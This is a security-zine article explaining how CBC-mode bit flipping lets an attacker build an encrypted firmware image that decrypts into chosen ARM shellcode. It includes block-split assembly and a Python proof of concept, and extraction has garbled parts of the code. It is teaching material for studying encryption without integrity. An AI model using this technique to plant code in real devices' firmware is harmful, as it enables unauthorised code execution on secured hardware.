
17:02 Constructing AES-CBC Shellcode
by Albert Spruyt and Niek Timmers

Howdy folks!
Imagine, if you will, that you have managed to

bypass the authenticity measures (i.e., secure boot)
of a secure system that loads and executes an binary
image from external flash. We do not judge, it does
not matter if you accomplished this using a fancy
attack like fault injection1 or the authenticity mea-
sures were lacking entirely.2 What’s important here
is that you have gained the ability to provide the
system with an arbitrary image that will be happily
executed. But, wait! The image will be decrypted
right? Any secure system with some self respect will
provide confidentiality to the image stored in exter-
nal flash. This means that the image you provided
to the target is typically decrypted using a strong
cryptographic algorithm, like AES, using a cipher
mode that makes sense, like Cipher-Block-Chaining
(CBC), with a key that is not known to you!

Works of exquisite beauty have been made with
the CBC-mode of encryption. Starting with hum-
ble tricks, such as bit flipping attacks, we go to
heights of dizzying beauty with the padding-oracle-
attack. However, the characteristics of CBC-mode
provide more opportunities. Today, we’ll apply its
bit-flipping characteristics to construct an image
that decrypts into executable code! Pretty nifty!

Cipher-Block-Chaining (CBC) mode

The primary purpose of the CBC-mode is prevent-
ing a limitation of the Electronic Code Book (ECB)
mode of encryption. Long story short, the CBC-
mode of encryption ensures that plain-text blocks
that are the same do not result in duplicate cipher-
text blocks when encrypted. Below is an ASCII art
depiction of AES decryption in CBC-mode. We de-
note a cipher text block as CTi and a plain text block
as PTi.

CT-1 CT-2
|_______ |_______ . . .
| | |

_________ | _________
| | | | |

IV --- | AES | | | AES |
| |_________| | |_________|
| | | |
|______XOR |______XOR

| |
PT-1 PT-2

An important aspect of CBC-mode is that the
decryption of CT2 depends, besides the AES decryp-
tion, on the value of CT1. Magically, without know-
ing the decryption key, flipping 1 or more bits in CT1
will flip 1 or more bits in PT2.

Let’s see how that works, where ∧1 denotes flip-
ping a bit at an arbitrary position.

CT1 ∧ 1 + CT2

Which get decrypted into:

TRASH+ PT2 ∧ 1

1Bypassing Secure Boot using Fault Injection, Niek Timmers and Albert Spruyt, Black Hat Europe 2016
2Arm9LoaderHax — Deeper Inside, Jason Dellaluce
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A nasty side effect is that we completely trash
the decryption of CT1 but, if we know the contents
of PT2, we can fully control PT2 to our heart’s de-
light! All this magic can be attributed to the XOR
operation being performed after the AES decryp-
tion.

Chaining multiple blocks
We now know how to control a single block de-
crypted using CBC-mode by trashing another. But
what about the rest of the image? Well, once we
make peace with the fact that we will never control
everything, we can try to control half! If we con-
sider the bit-flipping discussion above, let’s consider
the following image encrypted with AES-128-CBC,
for which we do not control the IV:

CT1 + CT2 + CT3 + CT4 + ...

Which gets decrypted into:

PT1 + PT2 + PT3 + PT4 + ...

No magic here! All is decrypted as expected.
However, once we flip a bit in CT1, like:

CT1 ∧ 1 + CT2 + CT3 + CT4 + ...

Then, on the next decryption, it means we trash
PT1 but control PT2, like:

TRASH+ CT2 ∧ 1 + PT3 + PT4 + ...

The beauty of CBC-mode is that with the same
ease we can provide:

CT1 ∧ 1 + CT2 + CT1 ∧ 1 + CT2 + ...

Which results in:

TRASH+ CT2 ∧ 1 + TRASH+ CT2 ∧ 1 + ...

Using this technique we can construct an im-
age in which we control half of the blocks by only
knowing a single plain-text/cipher-text pair! But,
this makes you wonder, where can we obtain such
a pair? Well, we all know that known data (such
as 00s or FFs) is typically appended to images in
order to align them to whatever size the developer
loves. Or perhaps we know the start of an image!
Not completely unlikely when we consider exception
vectors, headers, etc. More importantly, it does not
matter what block we know, as long as we know a

block or more somewhere in the original encrypted
image. Now that we cleared this up, let’s see how
we can we construct a payload that will correctly
execute under these restrictions!

Payload and Image construction

Obviously we want to do something useful; that is,
to execute arbitrary code! As an example, we will
write some code that prints a string on the serial in-
terface that allows us to identify a successful attack.
For the hypothetical target that we have in mind,
this can be accomplished by leveraging the function
SendChar() that enables us to print characters on
the serial interface. This type of functionality is
commonly found on embedded devices.

We would like to execute shellcode like the fol-
lowing: beacon out on the UART and let us know
that we got code execution, but there’s a bit of a
problem.

1 mov r0 ,#0x50 ; r0 = ’P ’
l d r r5 , [ pc ,#0] ; pc i s 8 bytes ahead

3 b sk ip
. word 0xCACAB0B0 ; address o f SendChar

5 sk ip :
b l r5 ; Ca l l SendChar

7 mov r0 ,#0 x6f ; r0 = ’ o ’
b l r5 ; Ca l l SendChar

9 mov r0 ,#0x43 ; r0 = ’C ’
b l r5 ; Ca l l SendChar

11 in f_loop : ; loop end l e s s l y
b in f_loop

This piece of code spans multiple 16-byte blocks,
which is a problem as we only partially control the
decrypted image. There will always be a trashed
block in between controlled blocks. We mitigate this
problem by splitting up the code into snippets of
twelve bytes and by adding an additional instruc-
tion that jumps over the trashed block to the next
controlled block. By inserting place holders for the
trash blocks we allow the assembler to fill in the
right offset for the next block. Once the code is
assembled, we will remove the placeholders!
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; ; p l a c eho ld e r f o r t ra sh block
2 . word 0 xdeadbeef

. word 0 xdeadbeef
4 . word 0 xdeadbeef

. word 0 xdeadbeef
6

f i r s t_b l o ck :
8 mov r1 , r1 ; Us e l e s s f i r s t b lock

mov r2 , r2
10 mov r3 , r3

b second_block
12

; ; p l a c eho ld e r f o r t ra sh block
14 . word 0 xdeadbeef

. word 0 xdeadbeef
16 . word 0 xdeadbeef

. word 0 xdeadbeef
18

second_block :
20 mov r0 ,#0x50 ; r0 = ’P ’

l d r r5 , [ pc ,#0] ; pc i s 8 bytes ahead
22 b third_block

. word 0xCACAB0B0 ; address o f SendChar
24

; ; p l a c eho lde r f o r t ra sh block
26 . word 0 xdeadbeef

. word 0 xdeadbeef
28 . word 0 xdeadbeef

. word 0 xdeadbeef
30

third_block :
32 b l r5 ; Ca l l SendChar

mov r0 ,#0 x6f ; r0 = ’ o ’
34 b l r5 ; Ca l l SendChar

b forth_block
36

; ; p l a c eho ld e r f o r t ra sh block
38 . word 0 xdeadbeef

. word 0 xdeadbeef
40 . word 0 xdeadbeef

. word 0 xdeadbeef
42

forth_block :
44 mov r0 ,#0x43 ; r0 = ’C ’

b l r5
46 in f_loop :

b in f_loop
48 nop ; Unused space

Let’s put everything together and write some
Python (Figure 1) to introduce the concept to you in
a language we all understand, instead of that most
impractical of languages, English. We use a differ-
ent payload that is easier to comprehend visually.
Obviously, nothing prevents you from replacing the
actual payload with something useful like the pay-
load described earlier or anything else of your liking!

### PLAINTEXT ###
2 12121212121212121212121212121212

34343434343434343434343434343434
4 56565656565656565656565656565656

78787878787878787878787878787878
6

### CIPHERTEXT ###
8 d3875385eb0f7e5de539f1ee10b91b7b

18 fa47c26338fa58 f581e6e4a33d1948
10 6d00a4edb8bed131ebbb41399b8946c9

26 bdc556c94c528b3fe01a8e54a29cd2
12

### PAYLOAD ###
14 11111111111111111111111111111111

22222222222222222222222222222222
16

### IMAGE ###
18 f6a276a0ce2a5b78c01cd4cb359c3e5e

18 fa47c26338fa58 f581e6e4a33d1948
20 c5914593 fd19684bf32 fe7 f806a f0d6d

18 fa47c26338fa58 f581e6e4a33d1948
22

### DECRYPTED ###
24 6210 e41a26357e3adc10747553d17aea

11111111111111111111111111111111
26 a0a35ead815a3e2b8f f54f0299614211

22222222222222222222222222222222

In a real world scenario it is likely that we do
not control the IV. This means, execution starts
from the beginning of the image, we’ll need to sur-
vive executing the first block which consists of ran-
dom bytes. This can accomplished by taking the
results from PoC‖GTFO 14:06 into account where
we showed that surviving the execution of a random
16-byte block is somewhat trivial (at least on ARM).
Unless very lucky, we can generate different images
with a different first block until we can profit!

We hope the above demonstrates the idea con-
cretely so you can construct your own magic CBC-
mode images! :)

– — — – — — — — – — –
Once again we’re reminded that confidentiality is

not the same as integrity, none of this would be pos-
sible if the integrity of the data is assured. We also,
once again, bask in the radiance of the CBC-mode of
encryption. We’ve seen that with some very simple
operations, and a little knowledge of the plain-text,
we can craft half-controlled images. By simply skip-
ping over the non-controllable blocks, we can ac-
tually create a fully functional encrypted payload,
while having no knowledge of the encryption key.
If this doesn’t convince you of the majesty of CBC
then nothing will.

7



from Crypto . Cipher import AES
2

def pr in tB locks ( t i t l e , b inS t r ing ) :
4 print "\n###" , t i t l e , "###"

for i in xrange (0 , len ( b inSt r ing ) ,16) :
6 print b inSt r ing [ i : i +16] . encode ( "hex" )

8 def xor ( s1 , s2 ) :
return ’ ’ . j o i n ( [ chr (ord ( a )^ord (b) ) for a , b in zip ( s1 , s2 ) ] )

10
#

12 ## Prepare the normal image
#

14 IV = "\xFE" ∗ 16
KEY = "\x88" ∗ 16

16 PLAINTEXT = "\x12"∗16 + "\x34"∗16 + "\x56"∗16 + "\x78"∗16

18 CIPHERTEXT = AES. new(KEY,AES.MODE_CBC, IV) . encrypt (PLAINTEXT)

20 pr in tB locks ( "PLAINTEXT" , PLAINTEXT)
pr in tB locks ( "CIPHERTEXT" , CIPHERTEXT)

22
#

24 ## Make the h a l f c on t r o l l e d image , we use 2 CTs and 1 PT
## from the o r i g i n a l encrypted image

26 #
knownCipherText = CIPHERTEXT[ 1 6 : 3 2 ]

28 prevCipherText = CIPHERTEXT[ 0 : 1 6 ]
knownPlainText = PLAINTEXT[ 1 6 : 3 2 ]

30
AESoutput = xor ( prevCipherText , knownPlainText )

32
# Output o f the assembler with , p l a c eho l d e r b l o c k s removed

34 payload = ’ 11111111111111111111111111111111 ’ \
’ 22222222222222222222222222222222 ’ . decode ( ’ hex ’ )

36
pr in tB locks ( "PAYLOAD" , payload )

38
IMAGE = ""

40 for i in range (0 , len ( payload ) ,16) :
IMAGE += xor (AESoutput , payload [ i : i +16])

42 IMAGE += knownCipherText

44 pr in tB locks ( "IMAGE" ,IMAGE)

46 #
## What would the decrypted image look l i k e ?

48 #
DECRYPTED = AES. new(KEY,AES.MODE_CBC, IV) . decrypt (IMAGE)

50 pr in tB locks ( "DECRYPTED" ,DECRYPTED)

Figure 1. Python to Force a Payload into AES-CBC
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